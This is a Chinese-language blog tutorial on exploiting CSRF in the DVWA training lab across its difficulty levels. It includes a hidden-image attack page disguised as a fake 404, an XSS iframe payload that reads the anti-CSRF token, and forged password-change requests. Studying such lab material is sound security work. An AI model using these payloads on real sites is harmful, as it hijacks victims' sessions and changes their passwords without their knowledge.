DVWA学习日记--CSRF超详细漏洞利用讲解
CSRF,全称Cross-site request forgery,翻译过来就是跨站伪请求
这是利用受害者未失效的身份认证(cookie,会话),诱骗受害者点击攻击者包含恶意代码的页面,以受害人的身份发送请求给服务器,在受害者不知情的情况下完成攻击(改密码,转账)
CSRF与XSS最大的区别就在于,XSS是窃取用户的cookie,而CSRF是利用受害者的cookie或其他的身份认证信息
以下说的攻击机,攻击者都可以认为是kali
用本机浏览器访问
访问dvwa,登陆
我的密码是admin
low级别
可以看到CSRF是一个更改密码的模块
我们输入一个更改的密码,比如123
可以看到url直接将密码显示出来,并且页面提示成功了
我们看看源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
没有任何防御机制,只要检测到pass_new和pass_conf相等就可以更改密码了
我们怎么实施攻击呢?
我们知道,我们在改密码的时候是要访问一个url
http://192.168.133.137/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
没错,这个漏洞的利用就是这样。
受害者登陆这个网站时,网页已经认证了他的身份,而我们就是利用这个已经认证的身份实施操作。
我们来实际操作一下
攻击机环境:
系统:kali
靶机环境:
我们先在kali机上部署一个网页
service apache2 start #这是一个网页的容器,启动之后就可以在里面放网页
service apache2 status #查看服务的状态
网页的存放位置在 var/www/html 目录下
cd /var/www/html #去到该目录
touch change.html #创建一个网页,html结尾
然后我们可以打开文件管理器在里面输入,或者在命令行下用 vim 编辑
来到本机的浏览器访问攻击机下的这个网页
点击这个aaa
我们跳到了CSRF的页面,并且显示密码改动成功了
登出,在登陆,我们可以发现密码已经被改成666了
但是这样跳转页面不是很容易被受害者发现吗?
所以我们采用另一种方法
我们在攻击机下创建另一个网页
<img border="0" style="display:none;"/>
<h1>404<h1>
<h2>file notfound.<h2>
style="display:none"的作用就是不显示
然后再用本机浏览器访问这个change_password.html页面
我们伪造了一个404页面,我们看看页面的元素
确实有这个url
重新访问dvwa,密码确实改成了123
可以看到这种方法确实隐秘了很多,在受害者完全不知情的情况下完成了攻击,受害者以为自己点击了一个错误的url,实际上已经遭遇了CSRF的攻击
medium级别
先看看网页代码
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
多了一个if判断
int eregi(string pattern,string str)
这个函数的功能是检查str中是否含有pattern,pattern不区分大小写,有则返回true,没有返回flase
那要怎么绕过这个机制呢?
我们抓包试试
可以发现Referer中的值就是我们访问CSRF的url
回到我们在low级别中,我们诱导用户访问攻击机上的而已文件时,url正好显示的就是我们文件的名字
通过抓包可以看到,访问攻击机上的文件时,确实把url写进了Referer里面
medium级别
我们看看源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这里添加了token验证,而我们无法在csrf漏洞中获取到token,即使是用我们的攻击机也无法实现
因为同源策略的存在,我们不可能在攻击机使用脚本获取到存在漏洞的靶机的token,除非靶机亲自请求我们
我们抓包可以看到网站加了token验证
这里要配合XSS跨站脚本攻击,
xss代码
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
拿到token
然后和上面的一样,在攻击机新建一个网页,代码中添加user_token,这个变量的名字可以通过上面抓包看到
网页代码
<img src=" http://192.168.133.149/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change&user_token=1d4e65728bffbec820a58244fa451545#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file notfound.<h2>
再用本机浏览器访问就可以了,记住要和访问dvwa的浏览器相同,不同的浏览器保存的session是不相同的
再介绍一种用burpsuite中的插件的方法
同样需要先在xss漏洞中获取token
然后在插件中写,这里因为提交之后会自动刷新token,所以和上面的截图不一样
然后再proxy模块选中右键send to repteaer
点击Go